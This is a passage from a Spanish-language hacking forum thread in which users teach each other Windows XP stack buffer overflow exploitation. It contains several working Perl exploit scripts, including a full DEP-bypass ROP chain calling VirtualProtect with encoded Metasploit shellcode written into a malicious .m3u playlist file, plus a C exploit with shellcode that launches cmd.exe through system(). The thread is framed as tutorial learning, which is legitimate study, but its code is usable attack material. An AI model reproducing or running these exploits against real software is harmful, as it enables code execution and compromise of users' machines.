Ejecuto ADD ESP,8
y desaparecen los dos ASCII "AAAA..." que había en la pila

Entro al último CALL (CALL 0040120D), continúo ejecutando y llega SUB ESP,328
lo ejecuto y desaparecen todos los 41414141 de la pila :/
(http://www.subeimagenes.com/img/15-862127.png)

Salimos del CALL y unos cuantos CALLs e instrucciones después salimos del programa con nuestro querido ExitCode C0000409


Título: Re: Error en Buffer Overflow
Publicado por: .:UND3R:. en 2 Marzo 2014, 19:50 pm
Con este debería funcionar:
http://www.mediafire.com/download/rcf20dct9pntl3l/vuln1.exe

Como te comenté usa Dev-C++ ya que visual studio por defecto introduce muchos mecanismos de protección los cuales para comenzar no te los recomiendo, solo estás probando la idea verdad?

además agregar que eso de pasar los argumentos a través de OllyDbg no funcionará muy bien ya que acuérdate que al momento de introducir la shellcode o payload esta tendrá caracteres no imprimibles por lo cual quizás no reciba los argumentos que tu pensabas, te dejo mi código en Perl que genera el crash:

Código
  1. # Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
  2. # Language         = Spanish
  3. # Author           = UND3R
  4.  
  5. my $file = "vuln1";
  6. my $junk = "\x41" x 76;
  7. my $eip = pack('V',0x7c951eed); # ntdll.dll | JMP ESP
  8. my $nop = "\x90" x 20;
  9. my $payload =
  10. "\x43" x 50;
  11.  
  12. my $exploit = $junk . $eip . $nop . $payload;
  13.  
  14. print "Enviando argumentos a " . $file . " ...\n";
  15. system($file, $exploit);
  16. if ( $? == -1 ) {
  17.  print "Error en el comando: $!\n";
  18. }else {
  19.  print "Argumento enviado correctamente.\n";
  20. }

Es la idea ya que el payload simplemente contiene letras C aquí debería ir la shellcode, de todas maneras se limita mucho el tamaño cuidado que si el tamaño es muy gran se cierra y no puedes explotar el fallo.

Saludos


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 2 Marzo 2014, 21:18 pm
Buenas .:UND3R:.

Entonces no entiendo por qué Rojodos aconsejó que compiláramos con MVC++ 2005 si no se podía explotar de forma sencilla...

¿Podrías decirme qué "métodos" están protegiendo al programa, por favor? Según habíais dicho, sobreescribía el SEH :/

¿Entonces sugieres que siga todos los tutoriales de Corelan compilando con gcc (Dev-C++ usa gcc)? Aunque gcc tiene sus propias DLL para funciones como strcpy, y no llama a las de Windows, aunque eso da igual...



Dudas referentes al exploit:
Se sustrae a ESP 64 bytes
se pushea el ret address porque hemos llamado a strcpy
; push ebp ; Esto no interviene
; mov ebp,esp ; Esto no interviene
Se van metiendo en la pila las 76 As. Si lo compilo con MCV++ se meten hacia abajo, ¿no? Me refiero a que con gcc deberían meterse hacia arriba hasta un punto en que arriba se sustituye el ret address por lo que pongamos nosotros (que será un jmp esp)
Ahora metemos 20 NOPs en la pila...
Y finalmente metemos 50 bytes de shellcode

Pero si "metemos", y no "pusheamos" los datos, por qué ESP apuntará a nuestra shellcode?  Porque se terminará alguna parte o algo, pero no termino de verlo.

Gracias de antemano ;).


Título: Re: Error en Buffer Overflow
Publicado por: .:UND3R:. en 2 Marzo 2014, 21:59 pm
Tienes muchas pero muchas creo que para que puedas solventarlas todas es mejor que leas los tutoriales de corelan, me imagino que sabes que están en español, si no es así:
http://ricardonarvaja.info/WEB/buscador.php (http://ricardonarvaja.info/WEB/buscador.php)
busca por corelan

creeme que en este tutorial te explica todo y el por qué que es lo más importante ya que sin ese por qué no podrás aplicar lo aprendido en otras aplicaciones.

En cuanto a EIP es sobre escrito debido a que nosotros estamos pulverizando el marco de pila, ya que acuérdate que cuando se realiza una CALL, El primer valor de la pila apunta al retorno de esta, lo cual después de que la call hace sus operaciones recupera tal valor para retornar:
push ebp
mov ebp,esp
...
..
...
leave (mov esp,ebp / pop ebp)
retn x (limpieza de la pila)

La idea es que en el punto de retornar como escribimos más allá del marco de pila controlaremos el flujo del programa, en si todo el detalle te lo dará el tutorial, el de Rojodos es un buen tutorial una buena idea pero no puedes compararlo a algo que tiene imágenes y son 12 tutoriales dando unas 400 páginas diría promedio, saludos y buena aventura.


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 2 Marzo 2014, 22:09 pm
Está bien, voy a compilar con gcc, probar a seguir el tutorial de Corelan sobre BoF y hacer el exploit y comento.

PD.: Aunque he compilado con gcc, he ejecutado el exploit de Rojodos y no ha funcionado.


Título: Re: Error en Buffer Overflow
Publicado por: soez en 3 Marzo 2014, 20:29 pm
Vaya parece que son 80 Aes para pisar el return en vez de 76 sorry, pon 80 y otra cosa que ha surgido en la lista crackslatinos y que puede ser esto. La cookie del stack. Pon un bp en IsDebuggerPresent y comenta si para ahi y después termina el programa, ok? Comenta después.

Dudas referentes al exploit:
Se sustrae a ESP 64 bytes
se pushea el ret address porque hemos llamado a strcpy
; push ebp ; Esto no interviene
; mov ebp,esp ; Esto no interviene
Se van metiendo en la pila las 76 As. Si lo compilo con MCV++ se meten hacia abajo, ¿no?

Si, se meten hacia abajo en el espacio que se reservó para el buffer.

Me refiero a que con gcc deberían meterse hacia arriba hasta un punto en que arriba se sustituye el ret address por lo que pongamos nosotros (que será un jmp esp)

No, no se pushean, se sobreescribe en el buffer.

Pero si "metemos", y no "pusheamos" los datos, por qué ESP apuntará a nuestra shellcode?  Porque se terminará alguna parte o algo, pero no termino de verlo.

La instrucción leave es la que se encarga de dejar todo "como estaba" y desapila el marco quedando ya solo el ret que ahí tendrás un return que apunta un jmp esp en la dll y ésta hará saltar a la shellcode. No sé si se entiende si eso vuelve a preguntar.



Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 3 Marzo 2014, 23:57 pm
Buenas noches.

Acabo de terminar el tutorial (tardé porque estuve haciendo unas herramientas en Python), y tengo dos pequeeeeeeeeñas dudas:

PDF 1 de Corelan
1. ¿Por qué si MyVar necesita 128 bytes, Dev-C++ reserva 98? (sub esp,98) [Página 14]
2. En teoría, si ejecuto el exploit, éste se mete en la pila hacia abajo, pero en la imagen tengo que se mete hacia arriba de la pila (los 41 deberían estar donde están los 43 y viceversa):
(http://www.subeimagenes.com/img/01-864113.png)

Además, si strcpy termina en '\0', entonces 26074 As / 4 Bytes = 6518.5, y debería dar 6518.75, así está claro que el último byte es el carácter nulo, pero ese 0.25 que nos falta lo ocupa una 'A'

¿Qué ocurre?

exploit.pl
Código
  1. my $file= "crash.m3u";
  2. my $junk= "A" x 26074;
  3. my $eip= "BBBB";
  4. my $espdata = "C" x 1000;
  5.  
  6. open($FILE,">$file");
  7. print $FILE $junk.$eip.$espdata;
  8. close($FILE);
  9. print "Archivo m3u creado exitosamente\n";


Título: Re: Error en Buffer Overflow
Publicado por: .:UND3R:. en 4 Marzo 2014, 02:59 am
Si mal no me equivoco el compilador realiza un proceso llamado re-alineamiento, en donde se alinean los bytes en 4, no recuerdo muy bien pero en palabras simples el número de A para generar el desbordamiento no será uno más que el el tamaño del buffer establecido en el código de fuente.

No creo que hayas terminado el tutorial de corelan son 400 páginas, imposible, quizás el nº 1 pero todas las demás no, recuerda que lo que viene es de mucha utilidad, ya que te dejaré con intriga, pero te comento que ese exploit servirá puntualmente para XP, debes aprender sobre las protecciones y seguir adelante, saludos.

Aquí hice uno anti-dep aun así funciona en un sistema específico ya que utiliza direcciones de módulos del sistema, y aun así es complejo, es para el mismo programa que pusiste, saludos:

Código
  1. # Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
  2. # Language         = Spanish
  3. # Author           = UND3R
  4.  
  5. my $file = "exploit.m3u";
  6. my $junk = "\x41" x 26061;
  7. my $align = "\x41" x 4;
  8. my $eip = pack('V',0x7729f0a5); # urlmon.dll | RETN
  9. my $rop1 = pack('V',0x58c3f678); # COMCTL32.dll | MOV ESI,ESP / RETN
  10. my $rop2 = pack('V',0x77c0db6b); # msvcrt.dll | MOV EAX,ESI / RETN
  11. my $rop3 = pack('V',0x77c21e53); # msvcrt.dll | ADD ESP,0x1C / RETN
  12. # VirtualProtect(
  13. my $VirtualProtect = pack('V',0x7c801ad0);
  14. my $vaPayload = "AAAA";
  15. my $arg1 = "BBBB";
  16. my $arg2 = "CCCC";
  17. my $arg3 = "DDDD";
  18. my $arg4 = pack('V',0x10035010); # MSRMfilter03.dll
  19. # );
  20. my $rop4 = pack('V',0x774ce0c8); # ole32.dll | XCHG EAX,ECX / RETN
  21. my $rop5 = pack('V',0x7Cbaa4cb); # SHELL32.dll | MOV EAX,ECX / RETN
  22. my $rop6 = pack('V',0x774d8cd4); # ole32.dll | ADD EAX,0x64 / RETN
  23. my $rop7 = pack('V',0x774d8cd4); # ole32.dll | ADD EAX,0x64 / RETN
  24. my $rop8 = pack('V',0x58c38371); # COMCTL32.dll | XCHG EAX,ESI / RETN
  25. my $rop9 = pack('V',0x77bef2c1); # msvcrt.dll | ADD EAX,0x08 / RETN
  26. my $rop10 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
  27. my $rop11 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  28. my $rop12 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
  29. my $rop13 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  30. my $rop14 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
  31. my $rop15 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  32. my $rop16 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
  33. my $rop17 = pack('V',0x7c91eb79); # ntdll.dll | POP EBP / RETN
  34. my $rop18 = pack('V',0x3bfffbdc); # 3BFFFBDC
  35. my $rop19 = pack('V',0x7724105d); # urlmon.dll | XCHG EAX,EBP / RETN
  36. my $rop20 = pack('V',0x7ca637e5); # SHELL32.dll | SUB EAX,0x3BFFFB14 / RETN
  37. my $rop21 = pack('V',0x775cb360); # ole32.dll | XCHG EAX,ESI / RETN
  38. my $rop22 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  39. my $rop23 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
  40. my $rop24 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  41. my $rop25 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
  42. my $rop26 = pack('V',0x7c91eb79); # ntdll.dll | POP EBP / RETN
  43. my $rop27 = pack('V',0x3bfffb54); # 3BFFFB54
  44. my $rop28 = pack('V',0x7724105d); # urlmon.dll | XCHG EAX,EBP / RETN
  45. my $rop29 = pack('V',0x7ca637e5); # SHELL32.dll | SUB EAX,0x3BFFFB14 / RETN
  46. my $rop30 = pack('V',0x775cb360); # ole32.dll | XCHG EAX,ESI / RETN
  47. my $rop31 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  48. my $rop32 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
  49. my $rop33 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
  50. my $rop34 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
  51. my $rop35 = pack('V',0x774ce0c8); # ole32.dll | XCHG EAX,ECX / RETN
  52. my $rop36 = pack('V',0x73d95858); # MFC42.DLL | PUSH EAX / POP ESP / POP EDI / POP ESI / RETN
  53.  
  54. my $ROPgadgets = $align . $rop1 . $rop2 . $rop3 . $VirtualProtect . $vaPayload . $arg1 . $arg2 .$arg3 . $arg4 . $align . $rop4 . $rop5 . $rop6 . $rop7 . $rop8 . $rop9 . $rop10 . $rop11 . $rop12 . $rop13 . $rop14 . $rop15 . $rop16 . $rop17 . $rop18 . $rop19 . $rop20 . $rop21 . $rop22 . $rop23 . $rop24 . $rop25 . $rop26 . $rop27 . $rop28 . $rop29 . $rop30 . $rop31 . $rop32 . $rop33 . $rop34 . $rop35 . $rop36;
  55.  
  56. my $nop = "\x90" x 40;
  57. my $payload =
  58. # msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/alpha_upper -t perl
  59. "\x89\xe0\xda\xc4\xd9\x70\xf4\x5f\x57\x59\x49\x49\x49\x49" .
  60. "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
  61. "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
  62. "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
  63. "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
  64. "\x48\x4d\x59\x43\x30\x43\x30\x35\x50\x53\x50\x4c\x49\x5a" .
  65. "\x45\x30\x31\x38\x52\x45\x34\x4c\x4b\x51\x42\x50\x30\x4c" .
  66. "\x4b\x56\x32\x34\x4c\x4c\x4b\x56\x32\x54\x54\x4c\x4b\x33" .
  67. "\x42\x31\x38\x44\x4f\x4e\x57\x31\x5a\x36\x46\x36\x51\x4b" .
  68. "\x4f\x56\x51\x4f\x30\x4e\x4c\x57\x4c\x53\x51\x43\x4c\x43" .
  69. "\x32\x36\x4c\x57\x50\x49\x51\x48\x4f\x44\x4d\x53\x31\x4f" .
  70. "\x37\x5a\x42\x4a\x50\x51\x42\x56\x37\x4c\x4b\x46\x32\x44" .
  71. "\x50\x4c\x4b\x47\x32\x37\x4c\x55\x51\x38\x50\x4c\x4b\x51" .
  72. "\x50\x54\x38\x4d\x55\x4f\x30\x53\x44\x50\x4a\x53\x31\x58" .
  73. "\x50\x56\x30\x4c\x4b\x50\x48\x35\x48\x4c\x4b\x36\x38\x37" .
  74. "\x50\x35\x51\x59\x43\x4d\x33\x37\x4c\x57\x39\x4c\x4b\x36" .
  75. "\x54\x4c\x4b\x33\x31\x38\x56\x36\x51\x4b\x4f\x46\x51\x49" .
  76. "\x50\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x53\x31\x48\x47\x56" .
  77. "\x58\x4b\x50\x33\x45\x5a\x54\x45\x53\x43\x4d\x4c\x38\x57" .
  78. "\x4b\x33\x4d\x36\x44\x33\x45\x4d\x32\x30\x58\x4c\x4b\x36" .
  79. "\x38\x57\x54\x53\x31\x4e\x33\x53\x56\x4c\x4b\x54\x4c\x30" .
  80. "\x4b\x4c\x4b\x50\x58\x45\x4c\x55\x51\x38\x53\x4c\x4b\x54" .
  81. "\x44\x4c\x4b\x55\x51\x58\x50\x4d\x59\x50\x44\x47\x54\x47" .
  82. "\x54\x51\x4b\x51\x4b\x45\x31\x51\x49\x30\x5a\x36\x31\x4b" .
  83. "\x4f\x4b\x50\x50\x58\x31\x4f\x51\x4a\x4c\x4b\x42\x32\x4a" .
  84. "\x4b\x4d\x56\x51\x4d\x33\x5a\x35\x51\x4c\x4d\x4c\x45\x4f" .
  85. "\x49\x53\x30\x55\x50\x35\x50\x56\x30\x43\x58\x36\x51\x4c" .
  86. "\x4b\x52\x4f\x4b\x37\x4b\x4f\x39\x45\x4f\x4b\x5a\x50\x48" .
  87. "\x35\x59\x32\x46\x36\x52\x48\x49\x36\x5a\x35\x4f\x4d\x4d" .
  88. "\x4d\x4b\x4f\x58\x55\x57\x4c\x34\x46\x53\x4c\x55\x5a\x4d" .
  89. "\x50\x4b\x4b\x4d\x30\x33\x45\x34\x45\x4f\x4b\x37\x37\x34" .
  90. "\x53\x54\x32\x42\x4f\x52\x4a\x43\x30\x46\x33\x4b\x4f\x38" .
  91. "\x55\x45\x33\x43\x51\x52\x4c\x42\x43\x56\x4e\x52\x45\x42" .
  92. "\x58\x52\x45\x55\x50\x41\x41";
  93.  
  94. my $exploit = $junk . $eip . $ROPgadgets . $nop . $payload;
  95.  
  96. open($file, ">$file");
  97. print $file $exploit;
  98. close($file);
  99.  
  100. print "Archivo " . $file . " creado correctamente.";


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 4 Marzo 2014, 10:03 am
Sí, terminé el PDF nº1 y tengo esas dudas. No quiero arrastrar mi conocimiento básico erróneo a los otros PDFs.  Realmente entiendo todo lo demás, y los NOPs creo que son para limpiar datos que podrían estar en la pila aún, pero aún así, eso lo veré en los próximos PDFs.

Sé que se alinean datos de 32 bits en la pila (de 4 en 4), sé ensamblador.

Pero eso de introducir 1 byte más que el buffer no me suena (el buffer incluye el '\0').

Pues eso, agradecería que alguien me contestase a lo que pregunté.

Gracias de antemano.


Título: Re: Error en Buffer Overflow
Publicado por: soez en 4 Marzo 2014, 14:12 pm
1. ¿Por qué si MyVar necesita 128 bytes, Dev-C++ reserva 98? (sub esp,98) [Página 14]

128 bytes en decimal, 98 en hexadecimal = 152 bytes

2. En teoría, si ejecuto el exploit, éste se mete en la pila hacia abajo, pero en la imagen tengo que se mete hacia arriba de la pila (los 41 deberían estar donde están los 43 y viceversa):

Es posible que se haya usado la variable de las Aes anteriormente y por eso lo tengas así. No se meten hacia arriba.

Además, si strcpy termina en '\0', entonces 26074 As / 4 Bytes = 6518.5, y debería dar 6518.75, así está claro que el último byte es el carácter nulo, pero ese 0.25 que nos falta lo ocupa una 'A'

¿Qué ocurre?

¿Podrías enseñar esa zona de la pila?

PD. No vas a terminar el otro?


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 4 Marzo 2014, 23:22 pm
Era hexa, qué fail  ;D.

Acabo de terminar el paper de Rojodos, y me sale todo bien, pero el offset de jmp esp en kernel32.dll cambia nada más ejecuto algo, y así es imposible ejecutar system(), porque cuando ejecuto el exploit cambia el offset >:( (en msvcrt.dll no tengo ningún jmp, y antes de suspender el portátil tenía calls, y ahora tengo push esp ret, eso es posible, ¿no? xD).

Otra cosa, en el paper de Rojodos, cuando introduzco AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU => EIP=TTTT, ESP=dirección que contiene UUUU, pero ESP != UUUU
En cambio, con el código de Rojodos a EBP sí puedo ponerle que apunte a 414141 por ejemplo.
Pero ESP no apunta (sólo contiene) y si uso JMP ESP, salta a la shellcode. Me ha parecido extraño. ¿Y eso?

Por cierto, se dice que no hay que sustituir el EIP por una dirección de memoria, ya que cambia muy a menudo la pila.
Vale, eso lo entendería, pero si los Arguments que pongo antes del EIP son carácteres y siempre van a ser los que ponga en la pila... ¿por qué la dirección que ponga como EIP, que al fin y al cabo introduzco 4 bytes igualmente, cambia a la que yo puse?

Lo de la imagen que me dijiste es esto, aunque si se habrá usado la variable de As anteriormente... aún así, no entiendo qué hace el 0x00 ahí.
(http://www.subeimagenes.com/img/01-864113.png)


Me da la sensación que según qué compilador, qué protección de software, la ruta que habrá usado un servidor, cambia el exploit, y aunque esté claro el PoC, ejecutar un exploit y que funcione en un sistema remoto puede no funcionar aunque sepas mucho...

Yo creo que estas serán la últimas dudas del tema, ya que "ya sé" (sé muy poco aún) hacer exploits.

Y qué decir... ¡Muchísimas gracias! Voy a seguir investigando en estos temas que son muy interesantes :).


Título: Re: Error en Buffer Overflow
Publicado por: soez en 4 Marzo 2014, 23:48 pm
Acabo de terminar el paper de Rojodos, y me sale todo bien, pero el offset de jmp esp en kernel32.dll cambia nada más ejecuto algo, y así es imposible ejecutar system(), porque cuando ejecuto el exploit cambia el offset >:( (en msvcrt.dll no tengo ningún jmp, y antes de suspender el portátil tenía calls, y ahora tengo push esp ret, eso es posible, ¿no? xD).

Sí.

Otra cosa, en el paper de Rojodos, cuando introduzco AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU => EIP=TTTT, ESP=dirección que contiene UUUU, pero ESP != UUUU
En cambio, con el código de Rojodos a EBP sí puedo ponerle que apunte a 414141 por ejemplo.
Pero ESP no apunta (sólo contiene) y si uso JMP ESP, salta a la shellcode. Me ha parecido extraño. ¿Y eso?

ESP es una dirección de la pila y lo que contiene es lo que tu le metes a través del overflow si le metes UUUU la dirección de ESP contendrá UUUU. La verdad no te entiendo bien esta pregunta a que te refieres.

Por cierto, se dice que no hay que sustituir el EIP por una dirección de memoria, ya que cambia muy a menudo la pila.
Vale, eso lo entendería, pero si los Arguments que pongo antes del EIP son carácteres y siempre van a ser los que ponga en la pila... ¿por qué la dirección que ponga como EIP, que al fin y al cabo introduzco 4 bytes igualmente, cambia a la que yo puse?

Lo que metes en la pila por el overflow no cambia, lo que cambia es el address del jmp esp en la dll en cada service pack (actualizaciones) o cada vez que inicia windows (Aunque en XP no viene implementado, lo verás cuando te toque bypassear ASLR)

Me da la sensación que según qué compilador, qué protección de software, la ruta que habrá usado un servidor, cambia el exploit, y aunque esté claro el PoC, hacer un exploit funcional en un sistema remoto puede no funcionar aunque sepas mucho...

No creo que hagas un exploit para atacar a ciegas, si no testeando en el software vulnerable antes, que ya ha sido compilado y se ejecutará con las mismas protecciones en todos los SO familia windows por ejemplo (No sé si me explico). Por lo tanto si será efectivo.

Y qué decir... ¡Muchísimas gracias! Voy a seguir investigando en estos temas que son muy interesantes :).

De nada tiuuu!! Dale duro si que lo son ;)


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 5 Marzo 2014, 02:26 am
Sí.
¿No se supone que se busca un JMP ESP en una DLL? Las DLLs no cambian su código :S...

Lo que metes en la pila por el overflow no cambia, lo que cambia es el address del jmp esp en la dll en cada service pack (actualizaciones) o cada vez que inicia windows (Aunque en XP no viene implementado, lo verás cuando te toque bypassear ASLR)
Imagina que hago un findjmp.exe kernel32.dll esp
Y me da una dirección, y con esa dirección hago un exploit y EIP tendría que apuntar a esa dirección, pero EIP resulta que apunta a otra.

No creo que hagas un exploit para atacar a ciegas, si no testeando en el software vulnerable antes, que ya ha sido compilado y se ejecutará con las mismas protecciones en todos los SO familia windows por ejemplo (No sé si me explico). Por lo tanto si será efectivo.
Pero pueden tener programas antiexploits y tú no tienes forma de saber cuáles son, o un firewall, y hay muchos firewalls. Yo mismo tengo más de 1 firewall activo.

¿Qué me dices de la imagen?
¿Se puede evitar que pete un programa por haber ejecutado un exploit?
Básicamente... Lo que haces con los JMP registro es saltar al stack (la RAM) y ejecutar ese código, ¿no?
El código ensamblador está en el disco duro y el .data en la RAM, ¿no?

Salu2


Título: Re: Error en Buffer Overflow
Publicado por: soez en 5 Marzo 2014, 03:13 am
¿No se supone que se busca un JMP ESP en una DLL? Las DLLs no cambian su código :S...

Me refiero a que un push esp ret es también válido.

Imagina que hago un findjmp.exe kernel32.dll esp
Y me da una dirección, y con esa dirección hago un exploit y EIP tendría que apuntar a esa dirección, pero EIP resulta que apunta a otra.

Tienes que cuidar que el ret en la pila sea esa dirección.

Pero pueden tener programas antiexploits y tú no tienes forma de saber cuáles son, o un firewall, y hay muchos firewalls. Yo mismo tengo más de 1 firewall activo.

Programas antiexploits, pueden haber si, tendrás que atacar por otro lado si se diese el caso :/ los firewall son otro tipo de protecciones que también te impedirian pero si por ejemplo tu explotas un navegador haces una conexion inversa y depende de como este configurado el firewall dejará pasar la conexión.  

¿Qué me dices de la imagen?

No sé que contestarte, pero todo apunta a un final de cadena..

¿Se puede evitar que pete un programa por haber ejecutado un exploit?
Básicamente... Lo que haces con los JMP registro es saltar al stack (la RAM) y ejecutar ese código, ¿no?

Se podria evitar si, un ejemplo http://vimeo.com/25200425 (http://vimeo.com/25200425) y si, salta al espacio del stack y se ejecuta el código.

El código ensamblador está en el disco duro y el .data en la RAM, ¿no?

El programa entero está cargado en la RAM de una manera virtual y en el disco duro estará en modo fisico (para que me entiendas pero se dice al revés)



Título: Re: Error en Buffer Overflow
Publicado por: .:UND3R:. en 5 Marzo 2014, 06:47 am
Creo que te estás enredando y confundiendo tu mismo, debes ir paso a paso y estas haciendo preguntas que con tu nivel de conocimiento, tanto una respuesta bien detallada te llevara a confundirte más y generará más preguntas, un círculo vicioso recursivo.

Yo no soy partidiario de que las cosas son así por que sí, pero intenta de buscar otro plan estratégico estás mirando desde abajo hacia arriba y te está cayendo mucho conocimiento desde el cielo, el cual no es necesario en este momento y solo te llevará a sentirte una hormiga que no sabe absolutamente nada.



Debes entender lo siguiente, un desbordamiento de pila consiste en modificar el flujo normal de un programa a través de un código mal formado (para el programa) capas de modificar el Instruction Counter/Program Counter en Intel este valor lo posee un registro que se llama EIP. Para modificar EIP debes hacer que el programa recupere el valor de una CALL, ya que como te comenté cuando se llama a una CALL se debe dejar en la pila la dirección de retorno, o si no el programa nunca sabrá donde retornar una vez ejecutada las instrucciones de la call.


Citar
instruciones
...
..
..
Call Sumar
continuar.
..
..
..

Sumar:
guardaré los datos proporcionados para no perderme
aquí se suma
ahora debo volver
recuperaré los datos proporcionados para devolverme
a debo ir a continuar.

Buffer Overflow

Citar
instruciones
...
..
..
Call Sumar
continuar.
..
..
..

Sumar:
guardaré los datos proporcionados para no perderme
aquí se suma
ahora debo volver
recuperaré los datos proporcionados para devolverme
a debo ir a "AAAAAAAA".

Es una metáfora y debes tenerlo así mentalizado, no es el momento que aprendas los alineamientos, los marco de pilas, como se reserva espacio en el stack para trabajar con variables locales, etc. NO!

Una vez que lograste modificar el PC, requieres redireccionar el programa hacia tu payload o código de carga que se encargará de hacer lo que tu desees, ¿en donde está?, en la pila, para ello debes utilizar instrucciones que se encarguen de direccionar el flujo hacia la pila, y aquí no es siempre JMP ESP, tal como comenta soez la limitación del salto hacia el stack es TU IMAGINACIÓN, no debes seguir al pie de la letra el tutorial, si no entiendes mucho está bien pero hay variables, partiendo por las direcciones de los SO Windows, por ello el tutorial es una referencia a como actuar.

Código:
JMP ESP
POP r32 / RETN
MOV ESP,r32 (r32 valor controlable y generado de forma dinámica)


Un poco de instrucciones. En Windows las direcciones de memoria varían de acuerdo a la versión del sistema operativo, esto provoca que si tomas una dirección de una API/función, lo más probable es que esta no esté. Aquí viene lo que se denomina instrucciones seguras o confiables y las no confiables.

Si ignoramos todo mecanismo de protección, te recomiendo que utilices direcciones del programa, pero ¿cómo lo harás?, sencillo buscas las dll que hayan sido cargadas por el programa, inclusive el mismo programa podría ser utilizado, aunque no es muy recomendable a causa de que generalmente el ImageBase (dirección base de las dirección) contiene bytes nulos 0040xxxx por lo cual si estás explotando un buffer de string, estos se terminan con byte nulos, podría utilizarse si fuese el último parámetro en desbordar. Ahora estas direcciones no cambiarán ya que son direcciones del programa la única manera que cambie es que haya una actualización de esta de forma extrema, es decir cambiar casi todos sus módulos, etc, cosa que para ello deberías crear un nuevo explot, ahora que sabes que dirección es confiable y que no ya puedes usar un criterio. Ahora que JMP ESP no cambia, eso no se a que te refieres, las direcciones apuntan a instrucciones o buffer de datos, si estas direcciones son confiables, siempre deberían apuntar al mismo conjunto de instrucciones o buffer, por ello usar siempre direcciones del programa.

Ahora hablemos de ASLR Address space layout randomization, esto modifica el Image Base siempre cuando el módulo lo permita si mal no me equivoco es una bandera 0x40 activada, que se activa con el compilador visual studio con un parámetro, no recuerdo exactamente, esto cada vez que se reinicie el equipo el Image Base se modificará por lo cual no podrás tener direcciones confiables, para ello como solución es trabajar con módulos sin ASLR, puedes usar plugins en el depurar que se encargan de listar las protecciones de compilación y enlace que poseen. Si todos los módulos están protegidos por ASLR, podrías basarte en la predicción del heap o montículo, esta técnica se llama heap spraying pero vez? no puedes aprender todo este en un simple post, debes leer y plantear tus dudas putuales del capítulo y toma sorbos de apoco quizás te termines quemando.

Si tienes nuevas dudas, por favor hace un nuevo tema con la pregunta específica, este post solamente tiene un surtido de dudas que dificultan al lector.

Duda nueva puntual, post nuevo puntual con la pregunta.

Yo desisto de ayudarte más si no sigues las reglas que te he planteado



a por cierto si no sabes ASM, no puedes aprender sobre exploit, sin tampoco decir que debes aprender Ingeniería inversa,ya que sin ella no podrás encontrar los fallos del programa y ataque remoto siempre se podrá si el puerto está abierto y es vulnerable, ahora el payload puede que sea detectado, esos sistemas de protección se llaman Antivirus y firewall, ahora pueden haber otros mecanismos que deben basarse en el análisis o comportamiento de un programa, pero desconozco sobre ellos.

Si deseas aprender ensamblador hice un resumen hace unos años:
http://www.mediafire.com/view/ijc4am0y48hbc4w/ASM.pdf (http://www.mediafire.com/view/ijc4am0y48hbc4w/ASM.pdf)

Saludos


Título: Re: Error en Buffer Overflow
Publicado por: Lodos76 en 5 Marzo 2014, 13:54 pm
Está bien, tienes razón.


Sobre el exploit ya terminado del paper de Rojodos:
(vuln1.c está en el primer comentario del tema).
He cogido system() de msvcrt.dll y JMP ESP de kernel32.dll, ya que también carga esa DLL.

exploit_vuln1.c
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main (int argc,char **argv) {
  6.  
  7. char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"; // Para llenar el buffer y llegar al ret
  8.  
  9. /* <=== SHELLCODE ===>
  10. push ebp
  11. mov ebp,esp
  12. xor edi,edi
  13. push edi
  14. sub esp,04h
  15. mov byte ptr [ebp-08h],63h
  16. mov byte ptr [ebp-07h],6Dh
  17. mov byte ptr [ebp-06h],64h
  18. mov byte ptr [ebp-05h],2Eh
  19. mov byte ptr [ebp-04h],65h
  20. mov byte ptr [ebp-03h],78h
  21. mov byte ptr [ebp-02h],65h
  22. lea eax,[ebp-08h]
  23. push eax
  24. mov ebx,0x77C293C7
  25. call ebx
  26. */
